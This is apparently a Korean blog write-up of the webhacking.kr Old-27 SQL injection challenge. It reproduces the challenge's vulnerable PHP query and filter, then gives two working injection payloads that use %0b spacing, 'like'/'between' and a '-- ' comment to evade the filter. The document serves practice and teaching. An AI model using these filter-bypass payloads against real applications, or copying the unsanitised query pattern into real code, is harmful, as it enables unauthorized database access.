[Solved in under 1 hour 10 minutes]
webhacking.kr에서 사람들이 많이 푼 순서대로 풀고 있다.
일종의 자신감을 얻기위한 자기위로일까 허허
근데 이전에 풀었던 문제와 매우 유사한 문제를 발견해 도전해보았다.
일단 보자.

입력란이 있지만

<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
GET으로 받아 URL로 해도 상관없다.
이전문제와 매우 유사하다.
id = 'guest' 로 고정이고 no 인자를 가지고 해결해야한다.
admin이 no = 2 라고 답을 알려줬으니 저것만 맞춰서 하면

query error라고 나온다
id='guest' and no=({$_GET['no']})")) or die("query error");
아무래도 해당 코드 때문에 id = 'guest' / no = 1 이 나오지 않으면 무조건 "query error" 문구를 나오게 하는 것 같다.
그럼 이전에 풀었던 방식과 똑같이 A and B or C 형식으로 진행해
앞에 구문이 무조건 틀리게 만들어 or 로 C 구문이 맞게 만들어보자.
단, 필터링을 먼저 보자.
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
대충 봐도 #, 공백, =, 기타등등 필터링이 되어 있는 것을 확인 할 수 있는데
'#' -> '--' etc..
공백( ) -> %0b etc..
는(=) -> like, between etc.
을 이용하자
기 전에 하나 더 확인 해야 할 것이 있다.
내가 이거 하나때문에 40분을 말아먹었다. 진심이다.
no=({$_GET['no']})"))
코드 제대로 안보고 어? 하면 되지 않나 맨땅에 헤딩하다가 대가리 봉합하고 다시 보니 괄호가 있었네? ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
아무생각없이 하면 이렇게 들어간다는 소리이다.
A and (b or C)
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
본인 실화기반이다.
그러니 코드를 제대로 보고 풀자.
anyway
우회하기 전에 간단하게 생각해보자.
3) or no = 2 #
이런형식이면 풀릴건데 필터링이 걸려있는게 있으니 이것들을 우회하면
3)공백or공백no공백like공백2공백--
라고 생각하고 해봤는데 죽어라 해도 안되더라..
뭐가 문제인지 하나씩 검증을 하던 도중 내가 몰랐던 사실이 있었다.
나는 항상 '#' 을 사용해서 개의치 않고 있었는데
'--'를 사용하면 뒤에 무조건 공백을 추가해줘야 한다.
내가 몰랐기 때문에 별로 화가 안나고 다시 한번 겸손해지는 시간이었다.
다시 머리 싸매고 정리하자면
3)공백or공백no공백like공백2공백--공백 이게 정답이다.
그리고 삽입해보니

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
3)%0bor%0bno%0blike%0b2%0b--%0b
3)%0bor%0bno%0bbetween%0b2%0band%0b2%0b--%0b
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
잘 들어간 것을 확인 하였고
'--' 뒤에 공백을 넣어야 한다는 것을 모른 상태로 = 우회로 between 도 생각나서 하다가 안돼서 버렸는데 공백 문제로 인해 풀고 다시 넣어보니 잘 된다.
역시나 푸는 방법에는 여러가지가 있을 것으로 추정되고 다들 명심하자.
오늘의 교훈 세 가지.
1. 코드 제대로 봐라.
2. '--' 사용할거면 뒤에 꼭 공백 넣어라.
3. 고수는 널렸으니 항상 겸손해라. 일단 나부터.
Webhacking.kr Old-27 Write-up
이상 보고 끝!